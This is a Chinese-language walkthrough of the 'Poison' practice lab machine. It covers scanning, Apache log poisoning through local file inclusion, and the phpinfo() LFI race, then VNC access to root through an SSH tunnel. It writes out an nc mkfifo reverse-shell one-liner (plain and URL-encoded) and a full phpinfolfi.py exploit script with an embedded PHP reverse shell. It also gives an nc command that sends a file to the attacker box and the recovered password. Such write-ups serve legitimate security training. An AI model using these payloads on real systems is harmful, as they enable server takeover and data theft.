大佬请忽略!

Poison攻击要点:
★ base64解码13次
★ 日志投毒
★ phpinfolfi.py
★ vncviewer远程链接

namp

└─$ nmap -p- -sCV --min-rate 1000 10.10.10.84
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-01 20:28 CST
Warning: 10.10.10.84 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.84
Host is up (0.20s latency).
Not shown: 61651 closed tcp ports (reset), 3882 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 437.66 seconds

靶机开放ssh服务的22端口和http的80端口,服务器是FreeBSD 20161230。

HTTP

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
获取密码,经过13次base64编码的内容。

gobuster

└─$ gobuster dir -u http://10.10.10.84/ -t 100 -o gobuster.log --no-error -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.84/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/info.php             (Status: 200) [Size: 157]
/index.php            (Status: 200) [Size: 289]
/browse.php           (Status: 200) [Size: 321]
/phpinfo.php          (Status: 200) [Size: 68143]
/ini.php              (Status: 200) [Size: 20456]
Progress: 661677 / 661680 (100.00%)
===============================================================
Finished
===============================================================

shell as www

PHP本地文件包含

PHP 本地文件包含(Local File Inclusion,简称 LFI)是一种常见的 Web 漏洞,主要发生在 PHP 应用程序使用 include()、require()、include_once() 或 require_once() 等函数动态包含文件时,未对用户输入进行严格过滤,导致攻击者可操控包含本地服务器文件路径。

在这里插入图片描述

日志投毒

PHP 日志投毒(Log Poisoning)是一种结合日志文件与本地文件包含(LFI)漏洞的攻击技巧,主要针对 Web 服务器(如 Apache、Nginx)的访问日志(access.log)或错误日志(error.log)。攻击者通过注入恶意 PHP 代码到日志文件中,然后利用 LFI 漏洞包含该日志文件,从而实现远程代码执行(RCE)。

在这里插入图片描述

httpd.conf存在于/usr/local/etc/apache24/httpd.conf,获取日志存储路径,/var/log/httpd-access.log/var/log/httpd-error.log

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

请求的User-Agent信息会存到httpd-access.log日志中,修改User-Agent信息存入一句话木马。

在这里插入图片描述
poc id
在这里插入图片描述

reverse shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.14 9000 >/tmp/f

base64编码

%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%30%30%30%20%3e%2f%74%6d%70%2f%66

exploit
在这里插入图片描述

└─$ nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.16.14] from (UNKNOWN) [10.10.10.84] 19491
sh: can't access tty; job control turned off
$ id
uid=80(www) gid=80(www) groups=80(www)
$

LFI to RCE via phpinfo()

phpinfo()支持文件上传。
在这里插入图片描述
修改phpinfolfi.py:1、集成php-reverse-shell.php;2、修改文件上传和利用路径符合靶机路径;3、两处[tmp_name] =>改为[tmp_name] =>。如下

└─$ cat phpinfolfi.py
#!/usr/bin/python
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.185';  // CHANGE THIS
$port = 9000;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>
\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script
    LFIREQ="""GET /browse.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt;")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt;")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():

    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

exploit

└─$ python2 phpinfolfi.py 10.129.1.254 80 50
LFI With PHPInfo()
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Getting initial offset... found [tmp_name] at 112946
Spawning worker pool (50)...
 178 /  1000
Got it! Shell created in /tmp/g

Woot!  \m/
Shuttin' down...
└─$ nc  -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.16.185] from (UNKNOWN) [10.129.1.254] 39083
FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE #0 r321309: Fri Jul 21 02:08:28 UTC 2017     root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC  amd64
 3:36AM  up 6 mins, 1 users, load averages: 0.74, 0.51, 0.26
USER       TTY      FROM                                      LOGIN@  IDLE WHAT
root       pts/0    :1                                        3:30AM     6 -cs
uid=80(www) gid=80(www) groups=80(www)
sh: can't access tty; job control turned off
$ id
uid=80(www) gid=80(www) groups=80(www)

shell as charix

Base64编码13次解密:Charix!2#4%6&8(0

└─$ cat passwd| grep sh$      
root:*:0:0:Charlie &:/root:/bin/csh
charix:*:1001:1001:charix:/home/charix:/bin/csh

登录charix

└─$ ssh charix@10.10.10.84
(charix@10.10.10.84) Password for charix@Poison:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!
...[snip]...
charix@Poison:~ % id
uid=1001(charix) gid=1001(charix) groups=1001(charix)
charix@Poison:~ %

shell as root

charix home目录信息

charix@Poison:~ % ls -la
total 48
drwxr-x---  2 charix  charix   512 Mar 19  2018 .
drwxr-xr-x  3 root    wheel    512 Mar 19  2018 ..
-rw-r-----  1 charix  charix  1041 Mar 19  2018 .cshrc
-rw-rw----  1 charix  charix     0 Mar 19  2018 .history
-rw-r-----  1 charix  charix   254 Mar 19  2018 .login
-rw-r-----  1 charix  charix   163 Mar 19  2018 .login_conf
-rw-r-----  1 charix  charix   379 Mar 19  2018 .mail_aliases
-rw-r-----  1 charix  charix   336 Mar 19  2018 .mailrc
-rw-r-----  1 charix  charix   802 Mar 19  2018 .profile
-rw-r-----  1 charix  charix   281 Mar 19  2018 .rhosts
-rw-r-----  1 charix  charix   849 Mar 19  2018 .shrc
-rw-r-----  1 root    charix   166 Mar 19  2018 secret.zip
-rw-r-----  1 root    charix    33 Mar 19  2018 user.txt
charix@Poison:~ %

secret.zip传到kali解压。

nc 10.10.16.14 9001 < secret.zip
nc -lvnp 9001 > secret.zip

解压密码使用Charix!2#4%6&8(0

└─$ file secret
secret: Non-ISO extended-ASCII text, with no line terminators

VNC

查看与root用户有关的系统进程。

charix@Poison:~ % ps -auxwww
USER   PID  %CPU %MEM    VSZ   RSS TT  STAT STARTED     TIME COMMAND
...[snip]...
www    642   0.0  1.1  99172 11528  -  I    07:15    0:00.00 /usr/local/sbin/httpd -DNOHTTPACCEPT
root   643   0.0  0.6  20636  6140  -  Ss   07:15    0:00.01 sendmail: accepting connections (sendmail)
smmsp  646   0.0  0.6  20636  5808  -  Is   07:15    0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/clientmqueue (sendmail)
root   650   0.0  0.2  12592  2436  -  Is   07:15    0:00.00 /usr/sbin/cron -s
root   707   0.0  0.8  85228  7776  -  Is   07:19    0:00.01 sshd: charix [priv] (sshd)
charix 712   0.0  0.8  85228  7812  -  S    07:20    0:00.01 sshd: charix@pts/1 (sshd)
root   529   0.0  0.9  23620  8868 v0- I    07:13    0:00.01 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1
root   540   0.0  0.7  67220  7064 v0- I    07:13    0:00.01 xterm -geometry 80x24+10+10 -ls -title X Desktop
root   541   0.0  0.5  37620  5312 v0- I    07:13    0:00.00 twm
root   697   0.0  0.2  10484  2076 v0  Is+  07:15    0:00.00 /usr/libexec/getty Pc ttyv0
root   698   0.0  0.2  10484  2076 v1  Is+  07:15    0:00.00 /usr/libexec/getty Pc ttyv1
root   699   0.0  0.2  10484  2076 v2  Is+  07:15    0:00.00 /usr/libexec/getty Pc ttyv2
root   700   0.0  0.2  10484  2076 v3  Is+  07:15    0:00.00 /usr/libexec/getty Pc ttyv3
root   701   0.0  0.2  10484  2076 v4  Is+  07:15    0:00.00 /usr/libexec/getty Pc ttyv4
root   702   0.0  0.2  10484  2076 v5  Is+  07:15    0:00.00 /usr/libexec/getty Pc ttyv5
root   703   0.0  0.2  10484  2076 v6  Is+  07:15    0:00.00 /usr/libexec/getty Pc ttyv6
root   704   0.0  0.2  10484  2076 v7  Is+  07:15    0:00.00 /usr/libexec/getty Pc ttyv7
root   581   0.0  0.4  19660  3616  0  Is+  07:13    0:00.00 -csh (csh)
charix 713   0.0  0.4  19660  3680  1  Ss   07:20    0:00.01 -csh (csh)
charix 727   0.0  0.3  21208  2652  1  R+   07:30    0:00.00 ps -auxwww
charix@Poison:~ %

查看开放的端口,5801、5901是vnc服务的端口。

charix@Poison:~ % netstat -an -p tcp
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address          Foreign Address        (state)
tcp4       0     44 10.10.10.84.22         10.10.16.14.48660      ESTABLISHED
tcp4       0      0 127.0.0.1.25           *.*                    LISTEN
tcp4       0      0 *.80                   *.*                    LISTEN
tcp6       0      0 *.80                   *.*                    LISTEN
tcp4       0      0 *.22                   *.*                    LISTEN
tcp6       0      0 *.22                   *.*                    LISTEN
tcp4       0      0 127.0.0.1.5801         *.*                    LISTEN
tcp4       0      0 127.0.0.1.5901         *.*                    LISTEN
charix@Poison:~ %

kali开启动态端口转发

└─$ cat /etc/proxychains4.conf
# proxychains.conf  VER 4.x
...[snip]...
# meanwile
# defaults set to "tor"
socks4  127.0.0.1 9050
└─$ ssh charix@10.10.10.84 -D 9050

在这里插入图片描述

└─$ proxychains vncviewer 127.0.0.1:5901 -passwd secret
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  127.0.0.1:5901  ...  OK
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

在这里插入图片描述

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐